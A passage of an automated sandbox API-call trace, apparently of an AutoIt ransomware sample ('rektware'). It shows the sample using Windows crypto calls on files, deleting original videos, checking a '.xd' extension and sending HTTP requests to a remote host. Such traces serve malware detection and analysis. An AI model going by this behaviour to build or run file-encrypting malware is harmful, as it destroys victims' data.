wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.330] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.331] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.332] WriteFile (in: hFile=0x3bc, lpBuffer=0x1892748*, nNumberOfBytesToWrite=0x15730, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1892748*, lpNumberOfBytesWritten=0x130f01c*=0x15730, lpOverlapped=0x0) returned 1 [0067.337] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.337] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.337] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0067.337] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.337] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.337] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0067.337] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0067.338] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0067.338] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0067.338] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.338] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.338] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.339] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.339] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.339] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.339] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.339] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.339] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.339] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0067.339] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.339] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.339] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.339] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.339] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.340] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.340] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.340] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.344] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.344] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.345] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.345] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.345] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.345] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.345] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.345] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.345] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.345] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.345] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0067.346] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0067.346] CryptReleaseContext (hProv=0x17aa2b8, dwFlags=0x0) returned 1 [0067.346] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.346] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.346] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.346] FreeLibrary (hLibModule=0x74c60000) returned 1 [0067.346] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.346] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.346] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.346] CloseHandle (hObject=0x2ac) returned 1 [0067.353] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.353] CloseHandle (hObject=0x3bc) returned 1 [0067.357] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.358] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.358] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", lpFilePart=0x0) returned 0x40 [0067.358] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\_ d aacjtj.mkv")) returned 0x20 [0067.358] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164ca30 [0067.359] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\_ d AAcjTj.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\_ d aacjtj.mkv")) returned 1 [0067.362] FindNextFileW (in: hFindFile=0x164ca30, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0067.362] FindClose (in: hFindFile=0x164ca30 | out: hFindFile=0x164ca30) returned 1 [0067.362] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.363] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.363] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.363] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.363] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0067.363] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.363] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.363] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0067.363] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.363] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0067.363] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0067.364] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d30, lpdwBufferLength=0x130ef8c) returned 1 [0067.364] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.364] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.364] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.366] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0067.366] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0067.366] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0067.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0067.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0067.366] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.366] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.366] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.366] CloseHandle (hObject=0x0) returned 0 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.367] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="elHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lHB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HB95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="95BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BRq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rq rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rnAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nAklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AklY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="klY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lY\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xsy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sy.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.368] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.368] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.368] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0067.368] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.368] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0067.369] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0067.369] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.369] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0067.369] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0067.369] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ee1c) returned 1 [0067.369] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.369] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.369] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.369] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0067.369] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 